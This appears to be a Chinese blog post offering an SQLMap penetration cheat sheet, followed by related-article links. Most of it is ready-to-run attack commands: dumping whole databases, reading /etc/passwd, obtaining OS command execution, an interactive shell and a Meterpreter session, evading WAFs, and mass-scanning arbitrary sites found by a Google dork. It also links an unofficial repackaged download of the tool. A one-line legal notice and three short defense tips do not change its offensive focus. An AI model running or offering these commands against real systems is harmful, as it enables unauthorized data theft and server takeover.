SQLMap 终极渗透手册(2025全功能版)

目录

[⚠️ 法律声明](#⚠️ 法律声明)

工具下载

[🔍 基础侦查](#🔍 基础侦查)

[📂 数据枚举](#📂 数据枚举)

层级式渗透

批量操作

[🛠️ 高级功能](#🛠️ 高级功能)

[1. 权限提升](#1. 权限提升)

[2. 系统命令执行](#2. 系统命令执行)

[3. 绕过WAF](#3. 绕过WAF)

[🎯 实战场景](#🎯 实战场景)

场景1:Cookie注入

场景2:POST注入

场景3:谷歌黑客批量检测

[📊 结果管理](#📊 结果管理)

[⚡ 效率优化](#⚡ 效率优化)

[⚠️ 防护建议](#⚠️ 防护建议)


⚠️ 法律声明

所有技术仅限授权测试使用!未经授权渗透属于违法行为。


工具下载

我用夸克网盘给你分享了「sqlmap_CN.zip」,点击链接或复制整段内容,打开「夸克APP」即可获取。

/~339038pE3e~:/

链接:https://pan.quark.cn/s/0d3faddb83b2

🔍 基础侦查

|-------------------|---------|-----------------------------------------|
| 命令 | 功能 | 示例 |
| sqlmap -u "url" | 基础检测 | sqlmap -u "http://test.com/news?id=1" |
| --current-user | 当前数据库用户 | sqlmap -u "url" --current-user |
| --current-db | 当前数据库 | sqlmap -u "url" --current-db |
| --dbs | 列出所有数据库 | sqlmap -u "url" --dbs |


📂 数据枚举

层级式渗透

复制代码
# 1. 获取数据库
sqlmap -u "http://test.com/news?id=1" --dbs

# 2. 获取表
sqlmap -u "http://test.com/news?id=1" --tables -D "数据库名"

# 3. 获取字段
sqlmap -u "http://test.com/news?id=1" --columns -T "表名" -D "数据库名"

# 4. 导出数据
sqlmap -u "http://test.com/news?id=1" --dump -C "字段名" -T "表名" -D "数据库名"

批量操作

复制代码
# 导出整个数据库
sqlmap -u "http://test.com/news?id=1" --dump-all --exclude-sysdbs

# 导出指定范围数据
sqlmap -u "http://test.com/news?id=1" --dump -T "users" -D "app_db" --start=1 --stop=100

🛠️ 高级功能

1. 权限提升

复制代码
# 检测是否为DBA
sqlmap -u "url" --is-dba

# 获取系统文件(需要高权限)
sqlmap -u "url" --file-read="/etc/passwd"

2. 系统命令执行

复制代码
# 执行单条命令
sqlmap -u "url" --os-cmd="whoami"

# 获取交互式Shell
sqlmap -u "url" --os-shell

# 获取Meterpreter会话(需Metasploit)
sqlmap -u "url" --os-pwn --msf-path=/opt/metasploit

3. 绕过WAF

复制代码
# 使用TAMPER脚本
sqlmap -u "url" --tamper="space2comment"

# 设置延迟
sqlmap -u "url" --delay=3

# 随机UA
sqlmap -u "url" --random-agent

🎯 实战场景

场景1:Cookie注入

复制代码
sqlmap -u "http://test.com/login" --cookie="PHPSESSID=1234" --level=3

场景2:POST注入

复制代码
sqlmap -u "http://test.com/login" --data="username=admin&password=123"

场景3:谷歌黑客批量检测

复制代码
sqlmap -g "inurl:.php?id=" --batch --smart

📊 结果管理

复制代码
# 保存进度
sqlmap -u "url" --output-dir=/root/sqlmap_results

# 恢复进度
sqlmap --resume -l /root/sqlmap_results/log

效率优化

复制代码
# 多线程扫描
sqlmap -u "url" --threads=5

# 仅检测不攻击
sqlmap -u "url" --dbs --batch --smart

⚠️ 防护建议

  1. 使用参数化查询
  2. 最小化数据库权限
  3. 部署WAF防护

💡 提示:

  • 使用-v 3查看详细过程
  • 复杂环境下添加--flush-session清除缓存
  • 首次测试建议从--level=1 --risk=1开始

👉 按需组合命令参数,注意操作风险! 🚀

相关推荐
奔跑的卡卡4 小时前
线上Web异常发现为什么总是滞后?一套自研Web实时异常分析监控系统整体架构拆解
前端·web安全·架构
小白说大模型4 小时前
AI 提示词专栏:Zero-Shot 与 One-Shot Prompt 的差别与适用场景
大数据·数据库·人工智能·sql·深度学习·prompt
Sagittarius_A*4 小时前
【好靶场】SQL 注入-布尔盲注-2
sql·web安全·网络安全·sql注入
疯狂打码的少年5 小时前
【数据库技术】SQL高级查询(分组/排序/聚合函数)
java·数据库·笔记·sql
lightningyang6 小时前
第一届全国技能大赛网络安全(模块A)-密码安全策略配置
安全·web安全·天枢一体化虚拟仿真平台·全国节能大赛网络安全赛项
JMchen1236 小时前
【Android 性能优化实战 60 讲】03 Perfetto 现代分析利器:SQL 查询 Trace 数据,微秒级定位函数 CPU 耗时
android·sql·性能优化·实战·源码分析·perfetto·启动优化
harmony&6 小时前
MySQL 数据库从入门到实战:原理、安装与 SQL 详解
数据库·sql·mysql
程序员贺加贝6 小时前
报表大-IN-优化-一条-product_profile-超大-IN-SQL-背后的报表任务治理
java·spring boot·sql·性能优化·架构
2601_9620652515 小时前
[MySQL] SQL优化之性能分析
java·sql·mysql